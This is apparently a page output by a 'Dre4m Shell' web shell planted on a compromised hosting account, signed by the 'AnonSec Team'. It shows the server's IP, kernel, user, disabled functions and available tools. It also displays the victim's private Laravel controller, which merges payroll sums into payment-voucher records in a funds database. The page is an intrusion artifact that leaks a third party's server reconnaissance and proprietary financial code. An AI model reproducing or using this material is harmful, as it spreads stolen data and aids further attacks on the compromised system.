Dre4m Was Here

Dre4m Shell
Server IP : 199.250.214.225 / Your IP : 13.58.180.220
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF
Directory : /home/nicngo5/nfunds/app/Http/
Upload File :
[ HOME SHELL ]
Current File : /home/nicngo5/nfunds/app/Http/Controllers
<?php
namespace App\Http\Controllers;
use App\Http\Requests;
use App\Role;
use App\User;
use Auth;
use Entrust;
use App\Permission;
use Illuminate\Http\Request;
use DB;
use App\Http\Controllers\Controller;
use Session;

class MergerController extends ParentController
{
/**
 * Create a new controller instance.
 *
 * @return void
 */
/**
 * Show the application dashboard.
 *
 * @return \Illuminate\Http\Response
 */
//public $division; 
public function __construct(Request $request)
{
  $this->middleware('auth');
}

public function index()
{
   $data['allbanklist']  = DB::table('tblbanklist')->get();
   
   $data['economic_code'] = "";
   $data['month']       = "";
   $data['year']        = "";
   $data['message']     = "";
   $data['errormessage'] = "";
   
   return view('merger.index',$data);    
}
public function Merge(Request $request)
{
  
  $economic_code = trim($request->input('economic_code'));  
  $month = trim($request->input('month'));
  $year = trim($request->input('year'));
  $date = date('Y-m-d');
  
  $data['economic_code'] =  $request->input('economic_code');
  $data['month']         =    $request->input('month');
  $data['year']          =    $request->input('year');
   
  $this->validate($request,[      
     
    'economic_code' => 'required', 
    'month'         => 'required|regex:/^[\pL\s\-]+$/u', 
    'year'          => 'required|integer', 
   
  ]);
    
    if($economic_code==71)
    {
        $data['sumx'] = DB::table('tblpayment')
        ->where('tblpayment.month', '=', $month)
        ->where('tblpayment.year',  '=', $year)
        ->sum('grosspay');
        
        $data['sumy'] = DB::table('tblpayment')
        ->where('tblpayment.month', '=', $month)
        ->where('tblpayment.year',  '=', $year)
        ->sum('actingAllow');
        
        $data['sumAmount'] = $data['sumx'] - $data['sumy']; 
        
        $beneficiaryx = DB::table('tblpayment')->where('month',$month)->where('year',$year)->value('name');
        $count_beneficiary = DB::table('tblpayment')
        ->where('month',$month)
        ->where('year',$year)
        ->count();
    
        $payment = 'Salary';
    }
    elseif($economic_code==72)
    {
         $data['sumAmount'] = DB::table('tblpayment')
        ->where('tblpayment.month', '=', $month)
        ->where('tblpayment.year',  '=', $year)
        ->sum('actingAllow');
        
        $beneficiaryx = DB::table('tblpayment')->where('month',$month)->where('year',$year)->value('name');
        $count_beneficiary = DB::table('tblpayment')
        ->where('month',$month)
        ->where('year',$year)
        ->count();
        $payment = 'Overtime Payment';
    }
    elseif($economic_code==73)
    {
        $data['sumAmount'] = DB::connection('npayrollcondb')->table('tbl_conpayment')
        ->where('tbl_conpayment.month', '=', $month)
        ->where('tbl_conpayment.year',  '=', $year)
        ->sum('gross_pay');
        
        $beneficiaryx = DB::connection('npayrollcondb')->table('tbl_conpayment')->where('month',$month)->where('year',$year)->value('name');
        $count_beneficiary = DB::connection('npayrollcondb')->table('tbl_conpayment')
        ->where('month',$month)
        ->where('year',$year)
        ->count();
    
        $payment = 'Consolidated Revenue Fund Charges';
    }
        
    
    $beneficiary = $beneficiaryx .' and '. $count_beneficiary.' others.';
    $description = 'Being '.$payment.' for the month of '.$month.', '.$year;
   
   // First day of the month.
    $firstday=date('Y-m-01', strtotime($date));
    
    $check_contracts=DB::connection('fundsdb')->table('tblcontractDetails')->where('month',$month)->where('year',$year)->where('economic_code_status',$economic_code)->exists();
    $check_trans=DB::connection('fundsdb')->table('tblpaymentTransaction')->where('month',$month)->where('year',$year)->where('economic_code_status',$economic_code)->exists();
    
    $check_code=DB::connection('fundsdb')->table('tblcontractDetails')->where('economicVoult',$economic_code)->where('month',$month)->where('year',$year)->where('economic_code_status',$economic_code)->exists();
    $check_liabiity=DB::connection('fundsdb')->table('tblpaymentTransaction')->where('liabilityStatus',1)->where('month',$month)->where('year',$year)->where('economic_code_status',$economic_code)->exists();
    
    if(($check_trans)&&($check_contracts)){
        
        $data['message'] = '';
        $data['errormessage'] = 'Cannot Transfer. It has already been Processed';
        return view('merger.index',$data);    
    
    }    
    else
    {
        if($check_liabiity)
        {
            //do nothing
        }
        else
        {
            if($check_code){
                
            }
            else
            {
                $contract_id = DB::connection('fundsdb')->table('tblcontractDetails')->insertGetId(['economicVoult'=>71,'contractValue'=>$data['sumAmount'],'companyID'=>13,'dateAward'=>$firstday,'contract_Type'=>6,
                'ContractDescriptions'=>$description,'beneficiary'=>$beneficiary,'datecreated'=>$date,'approvedBy'=>Auth::user()->id,'createdby'=>1,'approvalStatus'=>1,'openclose'=>1,'paymentStatus'=>0,'voucherType'=>2,
                'period'=>$year,'isfrom_procurement'=>0,'is_salary'=>1,'month'=>$month,'year'=>$year,'economic_code_status'=>$economic_code]);
            }
            
                DB::connection('fundsdb')->table('tblpaymentTransaction')->insert(['contractTypeID'=>6,'contractID'=>$contract_id,'companyID'=>13,'totalPayment'=>$data['sumAmount'],'paymentDescription'=>$description,
                'amtPayable'=>$data['sumAmount'],'preparedBy'=>Auth::user()->id,'allocationType'=>5,'economicCodeID'=>$economic_code,'status'=>0,'datePrepared'=>$date,'vstage'=>1,'accept_voucher_status'=>1,
                'is_salary'=>1,'month'=>$month,'year'=>$year,'economic_code_status'=>$economic_code]);
        }
    }

    $data['message'] = 'Successfully Submitted';
    $data['errormessage'] = '';
    return view('merger.index',$data);    
    
}


}
Anon7 - 2022
AnonSec Team